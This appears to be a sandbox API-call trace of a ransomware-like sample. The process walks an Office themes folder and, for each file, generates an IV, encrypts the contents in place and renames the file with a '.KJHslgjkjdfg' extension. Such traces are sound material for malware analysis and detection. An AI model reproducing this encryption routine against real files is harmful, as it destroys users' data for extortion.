[0172.538] GetProcessHeap () returned 0x990000 [0172.538] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.538] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0172.538] GetProcessHeap () returned 0x990000 [0172.538] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0172.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.539] GetProcessHeap () returned 0x990000 [0172.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.540] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.540] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0172.540] GetProcessHeap () returned 0x990000 [0172.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0172.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.540] GetProcessHeap () returned 0x990000 [0172.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.540] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.540] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.540] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0172.543] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.543] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.543] GetProcessHeap () returned 0x990000 [0172.543] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.543] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.543] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.543] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.544] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.544] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.544] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.544] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.544] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x12dee, lpOverlapped=0x0) returned 1 [0172.546] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x12df0, dwBufLen=0x12df0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x12df0) returned 1 [0172.547] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.547] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12df0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x12df0, lpOverlapped=0x0) returned 1 [0172.547] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.548] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x12ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.548] SetEndOfFile (hFile=0x12c) returned 1 [0172.551] GetProcessHeap () returned 0x990000 [0172.551] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.551] GetProcessHeap () returned 0x990000 [0172.551] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.kjhslgjkjdfg")) returned 1 [0172.552] CloseHandle (hObject=0x12c) returned 1 [0172.552] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0172.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.553] GetProcessHeap () returned 0x990000 [0172.553] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.554] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.554] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.554] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.556] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.556] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.556] GetProcessHeap () returned 0x990000 [0172.556] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.556] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.556] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.556] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.556] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.556] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.556] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.558] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.558] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.558] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x223, lpOverlapped=0x0) returned 1 [0172.558] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0172.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.558] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0172.558] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.559] SetEndOfFile (hFile=0x12c) returned 1 [0172.561] GetProcessHeap () returned 0x990000 [0172.561] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.561] GetProcessHeap () returned 0x990000 [0172.562] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.kjhslgjkjdfg")) returned 1 [0172.576] CloseHandle (hObject=0x12c) returned 1 [0172.576] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.577] GetProcessHeap () returned 0x990000 [0172.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.577] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.577] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.577] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0172.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.593] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.593] GetProcessHeap () returned 0x990000 [0172.593] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.593] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.593] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.593] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.593] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.593] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.593] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.593] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.593] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.593] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.593] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.593] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.594] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x54a, lpOverlapped=0x0) returned 1 [0172.594] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550) returned 1 [0172.594] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.594] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x550, lpOverlapped=0x0) returned 1 [0172.594] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.594] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.594] SetEndOfFile (hFile=0x12c) returned 1 [0172.597] GetProcessHeap () returned 0x990000 [0172.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.597] GetProcessHeap () returned 0x990000 [0172.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.598] CloseHandle (hObject=0x12c) returned 1 [0172.598] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.598] GetProcessHeap () returned 0x990000 [0172.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.598] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.599] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0172.601] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.601] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.601] GetProcessHeap () returned 0x990000 [0172.601] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.601] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.601] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.601] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.601] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.602] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.602] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.602] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.602] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.602] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.602] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.602] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7eb1, lpOverlapped=0x0) returned 1 [0172.603] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7ec0, dwBufLen=0x7ec0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7ec0) returned 1 [0172.603] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.603] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: 